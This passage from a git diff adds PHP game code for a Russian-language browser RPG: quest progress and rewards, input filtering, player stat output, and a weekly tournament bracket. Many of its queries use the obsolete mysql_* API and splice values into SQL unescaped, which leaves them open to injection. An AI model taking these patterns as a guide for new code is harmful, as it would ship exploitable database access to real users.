      '.$x.''; + } + unset($x, $ex, $x2, $bot2, $ex2); + } + + if(isset($d['tr_win_haot'])) { + $x = $this->testAction('`uid` = "'.$uid.'" AND `time` > "'.$qst['time'].'" AND `vars` = "win_haot" LIMIT 1', 2); + $x = (0+$x[0]); + $t .= 'Победить в хаотических поединках : ['.$x.'/'.$d['tr_win_haot'].']
      '; + unset($x); + } + + if(isset($d['kill_clone'])) { + $x = $this->testAction('`uid` = "'.$uid.'" AND `time` > "'.$qst['time'].'" AND `vars` = "kill_clone" LIMIT 1', 2); + $x = (0+$x[0]); + $t .= 'Победите в : ['.$x.'/'.$d['kill_clone'].'] физических боях с клоном.
      '; + unset($x); + } + + if(isset($d['tr_win'])) { + $x = $this->testAction('`uid` = "'.$uid.'" AND `time` > "'.$qst['time'].'" AND `vars` = "win_fiz" LIMIT 1', 2); + $x = (0+$x[0]); + $t .= 'Победите в : ['.$x.'/'.$d['tr_win'].'] физических против игроков.
      '; + unset($x); + } + + if(isset($d['heal'])) { + $x = $this->testAction('`uid` = "'.$uid.'" AND `time` > "'.$qst['time'].'" AND `vars` LIKE "heal%" AND `vars` != "heal_'.$uid.'" LIMIT 1', 2); + $x = (0+$x[0]); + $t .= 'Вылечите : ['.$x.'/'.$d['heal'].'] игроков от травм.
      '; + unset($x); + } + + if(isset($d['tk_itm'])) { + $ex = explode(',', $d['tk_itm']); + $i = 0; $x = ''; + while($i < count($ex)) { + $ex2 = explode('=',$ex[$i]); + $x2 = mysql_fetch_array(mysql_query('SELECT `koll` FROM `inventory` WHERE `prototype` = "'.mysql_real_escape_string($ex2[0]).'" AND `owner` = "'.$uid.'" LIMIT 1')); + $bot2 = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `img` FROM `shop` WHERE `id` = "'.mysql_real_escape_string($ex2[0]).'" LIMIT 1')); + $x .= '    • '.$bot2['name'].' ['.$x2[0].'/'.$ex2[1].']
      '; + $i++; + } + + if($x != '') { + $x = trim($x, ', '); + $t .= 'Собрать ресурсы :
      '.$x.''; + } + } + + if($t != '') { + $r .= 'Условия задания :
      '.$t.'
      '; + $t = ''; + } + + $ds = $this->expl($pl['win_date']); + if(isset($ds['add_cr'])) { + $t .= 'Деньги : '.$ds['add_cr'].' кр.
      '; + } + + if(isset($ds['add_point'])) { + $t .= 'Репутация : '.$ds['add_point'].' ед.
      '; + } + + if(isset($ds['add_exp'])) { + $t .= 'Опыт : '.$ds['add_exp'].' ед.
      '; + } + + if($t != '') { + $r = 'Награда:
      '.$t.'
      '.$r; + $t = ''; + } + + if($t != '') { + $r = '
      Действия задания :
      '.$t.'
      '.$r; + $t = ''; + } + + if($r == '') { + $r = 'Дополнительная информация по заданию отсутствует'; + } + return $r; + } + + public function endq($id, $tp, $user) { + $pl = mysql_fetch_array(mysql_query('SELECT * FROM `quests` WHERE `delete` = "0" AND `min_lvl` <= "'.$user['level'].'" AND `max_lvl` >= "'.$user['level'].'" AND `id` = "'.mysql_real_escape_string($id).'" LIMIT 1')); + $qlst = mysql_fetch_array(mysql_query('SELECT `id` FROM `actions` WHERE `uid` = "'.$user['id'].'" AND `vars` = "start_quest'.$pl['id'].'" AND `vals` = "go" LIMIT 1')); + if(isset($qlst['id'])) { + if($tp == 'end') { + mysql_query('UPDATE `actions` SET `vals` = "end" WHERE `id` = "'.$qlst['id'].'" LIMIT 1'); + $this->error = 'Вы успешно отказались от задания "'.$pl['name'].'"'; + } elseif($tp == 'win') { + mysql_query('UPDATE `actions` SET `vals` = "win" WHERE `id` = "'.$qlst['id'].'" LIMIT 1'); + } + } else { + $this->error = 'Не удалось отказаться от задания ...'; + } + } + + public function testAction($filter, $tp) { + if($tp == 1) { + $ins = mysql_fetch_array(mysql_query('SELECT `id`, `uid`, `time`, `city`, `room`, `vars`, `ip`, `vals`, `val` FROM `actions` WHERE '.$filter.'')); + } elseif($tp == 2) { + $ins = mysql_fetch_array(mysql_query('SELECT COUNT(`id`) FROM `actions` WHERE '.$filter.'')); + } + return $ins; + } + + public function timeOut($ttm) { + $out = ''; + $time_still = $ttm; + $tmp = floor($time_still/2592000); + $id = 0; + if($tmp > 0) { + $id++; + if($id < 3) { $out .= $tmp." мес. "; } + $time_still = $time_still-$tmp*2592000; + } + $tmp = floor($time_still/86400); + if($tmp > 0) { + $id++; + if($id < 3) { $out .= $tmp." дн. "; } + $time_still = $time_still-$tmp*86400; + } + $tmp = floor($time_still/3600); + if($tmp > 0) { + $id++; + if($id < 3) { $out .= $tmp." ч. "; } + $time_still = $time_still-$tmp*3600; + } + $tmp = floor($time_still/60); + if($tmp > 0) { + $id++; + if($id < 3) { $out .= $tmp." мин. "; } + } + if($out == '') { + if($time_still < 0) { + $time_still = 0; + } + $out = $time_still.' сек.'; + } + return $out; + } + + public function addAction($time, $vars, $vls, $uid, $val) { + $ins = mysql_query('INSERT INTO `actions` (`uid`, `time`, `city`, `room`, `vars`, `ip`, `vals`, `val`) VALUES ("'.$uid.'", "'.$time.'", "capitalcity", "0", "'.mysql_real_escape_string($vars).'", "'.mysql_real_escape_string($_SERVER['HTTP_X_REAL_IP']).'", "'.mysql_real_escape_string($vls).'", "'.$val.'")'); + if($ins) { + return true; + } else { + return false; + } + } + + public function expl($d) { + $i = 0; + $e = explode(':|:', $d); + while($i < count($e)) { + $t = explode(':=:', $e[$i]); + if(isset($t[0])) { + $dr[$t[0]] = $t[1]; + } + $i++; + } + unset($i, $e, $t); + return $dr; + } + + public function winqst($id, $user) { + $bad = 0; + $qlst = mysql_fetch_array(mysql_query('SELECT * FROM `actions` WHERE `uid` = "'.$user['id'].'" AND `vars` = "start_quest'.$id.'" AND `vals` = "go" LIMIT 1')); + $qu = mysql_fetch_array(mysql_query('SELECT * FROM `quests` WHERE `id` = "'.$id.'" LIMIT 1')); + if(isset($qlst['id'])) { + $d = $this->expl($qu['act_date']); + + if(isset($d['heal'])) { + $x = $this->testAction('`uid` = "'.$user['id'].'" AND `time` > "'.$qlst['time'].'" AND `vars` LIKE "heal%" AND `vars` != "heal_'.$user['id'].'" LIMIT 1', 2); + $x = ($x[0]+0); + if($x < $d['heal']) { $bad = 1; } + unset($x); + } + + if(isset($d['tr_win'])) { + $x = $this->testAction('`uid` = "'.$user['id'].'" AND `time` > "'.$qlst['time'].'" AND `vars` = "win_fiz" LIMIT 1', 2); + $x = (0+$x[0]); + if($x < $d['tr_win']) { $bad = 1; } + unset($x); + } + + if(isset($d['kill_clone'])) { + $x = $this->testAction('`uid` = "'.$user['id'].'" AND `time` > "'.$qlst['time'].'" AND `vars` = "kill_clone" LIMIT 1', 2); + $x = (0+$x[0]); + if($x < $d['kill_clone']) { $bad = 1; } + unset($x); + } + + if(isset($d['tr_win_haot'])) { + $x = $this->testAction('`uid` = "'.$user['id'].'" AND `time` > "'.$qlst['time'].'" AND `vars` = "win_haot" LIMIT 1', 2); + $x = (0+$x[0]); + if($x < $d['tr_win_haot']) { $bad = 1; } + unset($x); + } + + if(isset($d['kill_bot'])) { + $ex = explode(',', $d['kill_bot']); + $i = 0; + while($i < count($ex)) { + $x = 0; + $ex2 = explode('=', $ex[$i]); + $bot2 = mysql_fetch_array(mysql_query('SELECT `id`, `login` FROM `users` WHERE `id` = "'.$ex2[0].'" LIMIT 1')); + if(isset($bot2['id'])) { + if(isset($qlst['id'])) { + $x = $this->testAction('`uid` = "'.$user['id'].'" AND `time` > "'.$qlst['time'].'" AND `vars` = "win_bot_'.$ex2[0].'"', 2); + $x = ($x[0]+0); + } + } + $i++; + } + if($x < $ex2[1]) { $bad = 1; } + unset($x); + } + + if($bad == 0) { + $nagr = $this->expl($qu['win_date']); + mysql_query('UPDATE `actions` SET `vals` = "win" WHERE `uid` = "'.$user['id'].'" AND `vars` = "start_quest'.$id.'" LIMIT 1'); + if(isset($nagr['add_cr'])) { + $user['money'] += $nagr['add_cr']; $c .= $nagr['add_cr'].' кр. '; + } + if(isset($nagr['add_point'])) { + $user['doblest'] += $nagr['add_point']; + if(isset($nagr['add_cr'])) { + $c .= 'и '.$nagr['add_point'].' репутации '; + } else { + $c .= $nagr['add_point'].' репутации '; + } + } + if(isset($nagr['add_exp'])) { + $user['exp'] += $nagr['add_exp']; + if(isset($nagr['add_cr']) || isset($nagr['add_point'])) { + $c .= 'и '.$nagr['add_exp'].' опыта'; + } else { + $c .= $nagr['add_exp'].' опыта'; + } + } + mysql_query('UPDATE `users` SET `money` = "'.$user['money'].'", `exp` = "'.$user['exp'].'", `doblest` = "'.$user['doblest'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + $this->error = 'Вы успешно сдали задание!'; + $text = 'Внимание! За успешно выполненное задание Вы получили : '.$c; + $this->msg($text, '{[]}'.$user['login'].'{[]}', $user['room']); + } else { + $this->error = 'Не все условия задания были выполнены ...'; + } + } else { + $this->error = 'Квест не найден ...'; + } + } + + public function msg($text, $who, $room) { + $fp = fopen("/tmp/chat.txt", "a"); + flock($fp, LOCK_EX); + fputs($fp, ":[".time()."]:[{$who}]:[".($text)."]:[".$room."]\r\n"); + fflush($fp); + flock($fp, LOCK_UN); + fclose($fp); + } +} + +$q = new Quests; \ No newline at end of file diff --git a/classes/utils_class.php b/classes/utils_class.php new file mode 100644 index 0000000..1dca5e9 --- /dev/null +++ b/classes/utils_class.php @@ -0,0 +1,88 @@ + 0) { + foreach($_POST as $k => $v) { + if($v != null) { + if(in_array($k, $RichText)) { + $_POST[$k] = nl2br($_POST[$k]); + $_POST[$k] = mysql_real_escape_string($_POST[$k]); + } else { + $_POST[$k] = preg_replace("/[^a-zA-Zа-яА-Я0-9_ -]/", "", $_POST[$k]); + } + } + } + } + + if(count($_GET) > 0) { + foreach($_GET as $k => $v) { + if($v != null) + $_GET[$k] = preg_replace("/[^a-zA-Zа-яА-Я0-9_ -]/", "", $_GET[$k]); + } + } + } + + public function Short($uid, $ad) { + $us = $this->get_inf($uid); + $clan_arr = mysql_fetch_assoc(mysql_query("SELECT `id`, `short` FROM `clans` WHERE `id` = '".$us['klan']."' LIMIT 1")); + echo "login=".$us['login']."
      "; + echo "level=".$us['level']."
      "; + echo "align=".$us['align']."
      "; + echo "klan=".$clan_arr['short']."
      "; + echo "sex=".$us['sex']."
      "; + echo "str=".$us['sila']."
      "; + echo "agil=".$us['lovk']."
      "; + echo "int=".$us['inta']."
      "; + echo "dex=".$us['vinos']."
      "; + echo "status=".$us['status']."
      "; + echo "borncity=".$us['borncity']."
      "; + echo "block=".$us['block']."
      "; + echo "palmessage=".$us['palcom']."
      "; + echo "online=".(int)(time()-$us['chattime'] < 60*5)."
      "; + echo "hp=".$us['hp']."
      "; + echo "maxhp=".$us['maxhp']."
      "; + if($ad == 2.99) { + echo "money=".$us['money']."
      "; + echo "rep=".$us['doblest']."
      "; + echo "laba=".$us['laba']."
      "; + if($us['laba'] > 0) { + echo "-----------------------
      "; + echo "laba_x=".$us['x']."
      "; + echo "laba_y=".$us['y']."
      "; + echo "-----------------------
      "; + } + echo "room=".$us['room']."
      "; + } + echo "dress="; + $dresses = mysql_query("SELECT `id`, `name`, `duration`, `maxdur` FROM `inventory` WHERE `owner` = '".$us['id']."' AND `dressed` = 1 AND `type` != 12"); + while($dr = mysql_fetch_array($dresses)) { + echo $dr['name']." ".(int)$dr['duration']."/".(int)$dr['maxdur'].","; + } + } + +} + +$Utils = new Utils(); \ No newline at end of file diff --git a/classturnir.php b/classturnir.php new file mode 100644 index 0000000..95f5319 --- /dev/null +++ b/classturnir.php @@ -0,0 +1,523 @@ +array(1=>10,20,30,40,50,60,70,80), + 2=>array(1=>8,15,20,30,35,45,50,60), + 3=>array(1=>5,10,15,20,25,30,35,40)); +class TTournament { + public + $MaxUserLevel=9; +/* function __construct($id){ + } + + function __destruct(){ + }*/ + + function AddUserInTournament($id){ + global $user; + $chek=mysql_fetch_row(mysql_query("select id from turnament where id=".$id." and old=0")); + if ($chek[0]=='') die("Жаль, очень жаль...."); + + if (mysql_query("insert into turnamuser (idturnam,iduser,level) values(".$id.",".$user['id'].",".$user['level'].")")){ + mysql_query("update turnament set kolvo=kolvo+1 where id=".$id); + echo "Регистрация пройдена!"; + } + else die("Вы уже зарегистрированы."); + } + + function DellUserInTournament($id){ + global $user; + mysql_query("delete from turnamuser where idturnam=".$id." and iduser=".$user['id']); + mysql_query("update turnament set kolvo=kolvo-1 where id=".$id); + echo "Заявка отозвана
      "; + } + + function fract($num = 0) { + if(!is_double($num)) return false; + $out = explode('.', $num); + return $out[1]; + } + + function PrepearTournir(){//запускается за час до начала турнира + + for ($i=1;$i<$this->MaxUserLevel;$i++){ + $uch=mysql_query("select id,iduser from turnamuser where loose=0 and idturnam=(select id from turnament where old=0 and level=".$i.") order by id desc"); + $kol=mysql_num_rows($uch); + $cop=$kol; + if ($kol>7){ + While (true){ + $stepen=log($cop)/log(2); + if ($this->fract($stepen)==false){ //==false - дробная часть отсутствует + for($j=1;$j<=($kol-$cop);$j++){ + $res=mysql_fetch_row($uch); + mysql_query("delete from turnamuser where id=".$res[0]); + addchp ('Внимание! На этой неделе Вам не нашлелся противник в турнире.
      ','{[]}'.nick7 ($res[1]).'{[]}'); + } + mysql_query("update turnament set kolvo=kolvo-".($kol-$cop)." where old=0 and level=".$i); + break; + } + $cop--; + } + $CountUser=array(); + while ($res=mysql_fetch_row($uch)){ + $CountUser[]=$res[1]; + } + @shuffle($CountUser); + + for ($ii=0;$iiВнимание! Подготовтесь к турниру.
      ','{[]}'.nick7 ($user1).'{[]}'); + addchp ('Внимание! Подготовтесь к турниру.
      ','{[]}'.nick7 ($user2).'{[]}'); + } + } + else{ + //Если команда не набралась удалить из таблицы и поставить турниру статус 2 + while ($res=mysql_fetch_row($uch)){ + mysql_query("delete from turnamuser where id=".$res['0']); + addchp ('Внимание!На этой неделе команда для турнира не набралась.
      ','{[]}'.nick7 ($res[1]).'{[]}'); + } + mysql_query("delete from turnament where old=0 and level=".$i); + } + } + } + + // созает поединок между 2 юзерами + function MakeBattle ($user1,$user2) { + $res=mysql_fetch_array(mysql_query("select * from turnirbattle where userid=".$user1." or userid1=".$user1." limit 1")); + if ($res['userid1']==$user1 && $res['badmaxweap1']!=0 ){ + if ((time()-$res['badmaxweap1'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$user1." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid1=".$user1); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($user1).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($user2).'{[]}'); + } + }elseif ($res['userid']==$user2 && $res['badmaxweap']!=0){ + if ((time()-$res['badmaxweap'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$user2." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid=".$user2); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($user2).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($user1).'{[]}'); + } + } + elseif ($res['userid']==$user1 && $res['badmaxweap']!=0){ + if ((time()-$res['badmaxweap'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$user1." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid=".$user1); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($user1).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($user2).'{[]}'); + } + } + elseif ($res['userid1']==$user2 && $res['badmaxweap1']!=0 ){ + if ((time()-$res['badmaxweap1'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$user2." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid1=".$user2); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($user2).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($user1).'{[]}'); + } + } + else{ + //Если на человеке лишняя одежда написать чтобы снял поставить время ожидания 2 минуты + $Shmotuser=mysql_fetch_array(mysql_query("select * from users where id=".$user1)); + $Shmotuser1=mysql_fetch_array(mysql_query("select * from users where id=".$user2)); + $PriceWeap=mysql_fetch_row(mysql_query("select cost from inventory where id=".$Shmotuser['weap']." limit 1")); + $PriceWeap1=mysql_fetch_row(mysql_query("select cost from inventory where id=".$Shmotuser1['weap']." limit 1")); + if ($PriceWeap[0]=='') $PriceWeap[0]=0; + if ($PriceWeap1[0]=='') $PriceWeap1[0]=0; + + if ($PriceWeap[0]>16 || $Shmotuser['sergi']!=0 || $Shmotuser['kulon']!=0 || $Shmotuser['perchi']!=0 || $Shmotuser['bron']!=0 || $Shmotuser['r1']!=0 || $Shmotuser['r2']!=0 || $Shmotuser['r3']!=0 || $Shmotuser['helm']!=0 || $Shmotuser['shit']!=0 || $Shmotuser['boots']!=0 || $Shmotuser['stats']!=0 || $Shmotuser['m1']!=0 || $Shmotuser['m2']!=0 || $Shmotuser['m3']!=0 || $Shmotuser['m4']!=0 || $Shmotuser['m5']!=0 || $Shmotuser['m6']!=0 || $Shmotuser['m7']!=0 || $Shmotuser['m8']!=0 || $Shmotuser['m9']!=0 || $Shmotuser['m10']!=0){ + if ($res['userid']==$user1) + mysql_query("update turnirbattle set badmaxweap=".time()." , checkuser=0 where userid=".$user1); + if ($res['userid1']==$user1) + mysql_query("update turnirbattle set badmaxweap1=".time()." , checkuser2=0 where userid1=".$user1); + addchp ('Внимание!Оставьте оружие только до 16экр или оставьте только оружие.
      ','{[]}'.nick7 ($user1).'{[]}'); + } + elseif ($PriceWeap1[0]>16 || $Shmotuser1['sergi']!=0 || $Shmotuser1['kulon']!=0 || $Shmotuser1['perchi']!=0 || $Shmotuser1['bron']!=0 || $Shmotuser1['r1']!=0 || $Shmotuser1['r2']!=0 || $Shmotuser1['r3']!=0 || $Shmotuser1['helm']!=0 || $Shmotuser1['shit']!=0 || $Shmotuser1['boots']!=0 || $Shmotuser1['stats']!=0 || $Shmotuser1['m1']!=0 || $Shmotuser1['m2']!=0 || $Shmotuser1['m3']!=0 || $Shmotuser1['m4']!=0 || $Shmotuser1['m5']!=0 || $Shmotuser1['m6']!=0 || $Shmotuser1['m7']!=0 || $Shmotuser1['m8']!=0 || $Shmotuser1['m9']!=0 || $Shmotuser1['m10']!=0){ + if ($res['userid']==$user2) + mysql_query("update turnirbattle set badmaxweap=".time()." , checkuser=0 where userid=".$user2); + if ($res['userid1']==$user2) + mysql_query("update turnirbattle set badmaxweap1=".time()." , checkuser2=0 where userid1=".$user2); + addchp ('Внимание!Оставьте оружие только до 16экр или оставьте только оружие.
      ','{[]}'.nick7 ($user2).'{[]}'); + } + else{ + // генерим массив с командами + $teams = array(); + $teams[$user1][$user2] = array(0,0,time()); + $teams[$user2][$user1] = array(0,0,time()); + //Востанавливаем HP + mysql_query("update users set hp=maxhp where id=".$user1." or id=".$user2); + // создаем битву + mysql_query("INSERT INTO `battle`( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`blood`) + VALUES( + NULL,'','".serialize($teams)."','3','1','0','".$user1."','".$user2."','".time()."','".time()."','0')"); + // айди боя + $id = mysql_insert_id(); + // кидаем в бой + mysql_query("UPDATE `users` SET `battle` = {$id} WHERE `id` = ".$user1." OR `id` = ".$user2); + // создаем лог + $rr = "".nick3($user['id'])." и ".nick3($jert['id']).""; + addch ("Бой между ".nick7($user['id'])." и ".nick7($jert['id'])." начался. ",$user['room']); + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." решили выяснить кто из них сильнее. (турнир)
      "); + return $id; + } + } + } + + // функция проверки статуса боя + function CheckBattle($id) { + // если по айдишнику возвращается + // 1 - победил USER1 + // 2 - победил USER2 + // 3 - бои идет + $res = mysql_fetch_array(mysql_query("SELECT `win` FROM `battle` WHERE `id` = ".(int)$id." LIMIT 1;")); + return $res['win']; + } + + function UpdateTournir(){ + for($i=1;$i<$this->MaxUserLevel;$i++){ + $sql=mysql_query("select * from turnirbattle where level=".$i); + + if (mysql_numrows($sql)==0){ + $this->NextTournir($i); + //$this->StartTournir($i); + } + + else { + echo "Для ".$i." уровня игроков следующий этап турнира начнется после завершения следующих боёв:
      "; + } + + while($res=mysql_fetch_array($sql)){ + $win=$this->CheckBattle($res['battleid']); + if ($win==1){ + mysql_query("update turnamuser set place=".time().", loose=loose+1 where iduser=".$res['userid1']); + mysql_query("update turnamuser set place=0 where iduser=".$res['userid']); + mysql_query("delete from turnirbattle where id=".$res['id']); + } + if($win==2){ + mysql_query("update turnamuser set place=".time().", loose=loose+1 where iduser=".$res['userid']); + mysql_query("update turnamuser set place=0 where iduser=".$res['userid1']); + mysql_query("delete from turnirbattle where id=".$res['id']); + } + if($win==3){ + echo nick3($res['userid'])." против ".nick3($res['userid1']); + } + } + } + } + + function NextTournir($level){ + $CheckFinal=array(); + for ($i=0;$i<=1;$i++){ + $sql=mysql_query("select iduser from turnamuser where level=".$level." and loose=".$i." and idturnam=(select id from turnament where old=0 and level=".$level.")"); + + $ArrayUsers=array(); + while ($res=mysql_fetch_row($sql)){ + $ArrayUsers[]=$res[0]; + } + @shuffle($CountUser); + + if (count($ArrayUsers)==1) $CheckFinal[]=$ArrayUsers[0]; + if (count($ArrayUsers)==1 && $i==0) addchp ('Внимание! Вы вышли в финал. Дождитесь второго финалиста.
      ','{[]}'.nick7 ($ArrayUsers[0]).'{[]}'); + + if ($this->fract(count($ArrayUsers)/2)!=false) + $countUs=count($ArrayUsers)-1; + else + $countUs=count($ArrayUsers); + + for ($ii=0;$ii<$countUs;$ii++){ + $user1=$ArrayUsers[$ii]; + $user2=$ArrayUsers[++$ii]; + //Востанавливаем HP + mysql_query("update users set hp=maxhp where id=".$user1." or id=".$user2); + mysql_query("insert into turnirbattle(userid,userid1,level,idtur) values(".$user1.",".$user2.",".$level.",(select id from turnament where old=0 and level=".$level."))"); + addchp ('Внимание! Подготовтесь к следующему туру.
      ','{[]}'.nick7 ($user1).'{[]}'); + addchp ('Внимание! Подготовтесь к следующему туру.
      ','{[]}'.nick7 ($user2).'{[]}'); + } + } + if (count($CheckFinal)==2) $this->TournirFinal($level,$CheckFinal); + if (count($CheckFinal)==1) { + $this->CreateHTML($level); + //поставить турниру статус 2. создать HTML для подгрузки результатов + //Если команда не набралась - удалить турнир. - эо при старте в 4 часа. + //$this->ShowTournirFinaliats($level); + } + } + + function CreateHTML($level){ + global $Priz; + $dir="logtur/".$level; + if (!file_exists($dir)) mkdir($dir); + $tur=mysql_fetch_array(mysql_query("select * from turnament where old=0 and level=".$level." limit 1")); + $f=fopen($dir."/".$tur['datetime'].".html",'w+'); + fwrite($f,''); + fwrite($f,''); + mysql_query("update turnamuser set place=".(time()+1000)." where place=0 and idturnam=".$tur['id']." and level=".$level); + $sql=mysql_query("select tur.*, us.login from turnamuser as tur left join users as us on us.id=tur.iduser where tur.idturnam=".$tur['id']." order by tur.place desc"); + $i=1; + + while ($res=mysql_fetch_array($sql)){ + if ($i==1 || $i==2 || $i==3){ + mysql_query("INSERT INTO `delo`(`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','".$res['iduser']."','Выиграл в турнире ".$Priz[$i][$level]." кр.','1','".time()."');"); + addchp ('Внимание! За '.$i.' место в турнире, Вы получили '.$Priz[$i][$level].' кр.
      ','{[]}'.nick7 ($res['iduser']).'{[]}'); + } + fwrite($f, ''); + + } + fwrite($f, '
      ИгрокМесто
      '.$res['login'].''.$i++.'
      '); + fclose($f); + mysql_query("update turnament set old=2, path='/".$dir."/".$tur['datetime'].".html' where old=0 and level=".$level); + + //Раскоментить перед заливкой + //if (mysql_numrows(mysql_query("select id from turnament where old=0"))==0) $this->CreateTournament("Еженедельные турниры"); + } + + function ShowTournirFinaliats(){ + $sql=mysql_query("select datetime,level,path from turnament where old=2 group by level order by datetime"); + $level=0; + + echo "Результаты прошедших турниров.
      "; + while ($res=mysql_fetch_array($sql)){ + if ($level!=$res['level']) echo ""; + echo ""; + if ($level!=$res['level']){ + echo ""; + $level=$res['level']; + } + } + echo "
      УровеньДата
      ".$res['level']."".date("d.m.Y H:i",$res['datetime'])."
      "; + } + + function TournirFinal($level,$masFinals){ + mysql_query("update turnamuser set place=0 where (iduser=".$masFinals[0]." or iduser=".$masFinals[1].") and idturnam=(select id from turnament where old=0 and level=".$level.")"); + mysql_query("insert into turnirbattle(userid,userid1,level,idtur) values(".$masFinals[0].",".$masFinals[1].",".$level.",(select id from turnament where old=0 and level=".$level."))"); + addchp ('Внимание! Подготовтесь к финалу.
      ','{[]}'.nick7 ($masFinals[0]).'{[]}'); + addchp ('Внимание! Подготовтесь к финалу.
      ','{[]}'.nick7 ($masFinals[1]).'{[]}'); + } + + function expectationenemy(){ + global $user; + $res=mysql_fetch_array(mysql_query("select * from turnirbattle where userid=".$user['id']." or userid1=".$user['id']." limit 1")); + if ($res['id']!=''){ + if ($res['userid']==$user['id'] && $res['checkuser']==0 && $res['badmaxweap']==0){ + mysql_query("update turnirbattle set checkuser=1 where userid=".$user['id']); + if ($res['checkuser2']==1){ + $battle = $this->MakeBattle($res['userid'],$res['userid1']); + mysql_query("update turnirbattle set battleid=".$battle." where id=".$res['id']); + } + } + elseif($res['badmaxweap']!=0){ + if ((time()-$res['badmaxweap'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$res['userid']." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid=".$res['userid']); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($res['userid']).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($res['userid1']).'{[]}'); + } + } + if ($res['userid1']==$user['id'] && $res['checkuser2']==0 && $res['badmaxweap1']==0){ + mysql_query("update turnirbattle set checkuser2=1 where userid1=".$user['id']); + if ($res['checkuser']==1){ + $battle = $this->MakeBattle($res['userid'],$res['userid1']); + mysql_query("update turnirbattle set battleid=".$battle." where id=".$res['id']); + } + } + elseif($res['badmaxweap1']!=0){ + if ((time()-$res['badmaxweap1'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$res['userid']." and idturnam=".$res['idtur1']); + mysql_query("delete from turnirbattle where userid1=".$res['userid1']); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($res['userid1']).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($res['userid']).'{[]}'); + } + } + } + } + + function StartTournir($level=''){//Запускается в 17-00-10 каждую пятницу + //Разослать всем кнопочки на вход в турнир + global $user; + $res=mysql_fetch_array(mysql_query("select * from turnirbattle where userid=".$user['id']." or userid1=".$user['id']." limit 1")); + $PriceWeap=mysql_fetch_row(mysql_query("select cost from inventory where id=".$user['weap']." limit 1")); + if ($PriceWeap[0]=='') $PriceWeap[0]=0; + + if ($PriceWeap[0]>16 || $user['sergi']!=0 || $user['kulon']!=0 || $user['perchi']!=0 || $user['bron']!=0 || $user['r1']!=0 || $user['r2']!=0 || $user['r3']!=0 || $user['helm']!=0 || $user['shit']!=0 || $user['boots']!=0 || $user['stats']!=0 || $user['m1']!=0 || $user['m2']!=0 || $user['m3']!=0 || $user['m4']!=0 || $user['m5']!=0 || $user['m6']!=0 || $user['m7']!=0 || $user['m8']!=0 || $user['m9']!=0 || $user['m10']!=0){ + if ($res['userid']==$user['id'] && $res['badmaxweap']==0) + mysql_query("update turnirbattle set badmaxweap=".time()." , checkuser=0 where userid=".$user['id']); + if ($res['userid1']==$user['id'] && $res['badmaxweap1']==0) + mysql_query("update turnirbattle set badmaxweap1=".time()." , checkuser2=0 where userid1=".$user['id']); + addchp ('Внимание!Оставьте оружие только до 16экр или оставьте только оружие.
      ','{[]}'.nick7 ($user['id']).'{[]}'); + } + else{ + if ($res['userid']==$user['id']){ + mysql_query("update turnirbattle set badmaxweap=0 where userid=".$user['id']); + + } + if ($res['userid1']==$user['id']){ + mysql_query("update turnirbattle set badmaxweap1=0 where userid1=".$user['id']); + } + } + + $sql=mysql_query("select * from turnirbattle where badmaxweap1<>0 or badmaxweap<>0"); + while ($res=mysql_fetch_array($sql)){ + if ($res['badmaxweap1']!=0){ + if ((time()-$res['badmaxweap1'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$res['userid1']." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid1=".$res['userid1']); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($res['userid1']).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($res['userid']).'{[]}'); + } + } + if($res['badmaxweap']!=0){ + if ((time()-$res['badmaxweap'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$res['userid']." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid=".$res['userid']); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($res['userid']).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
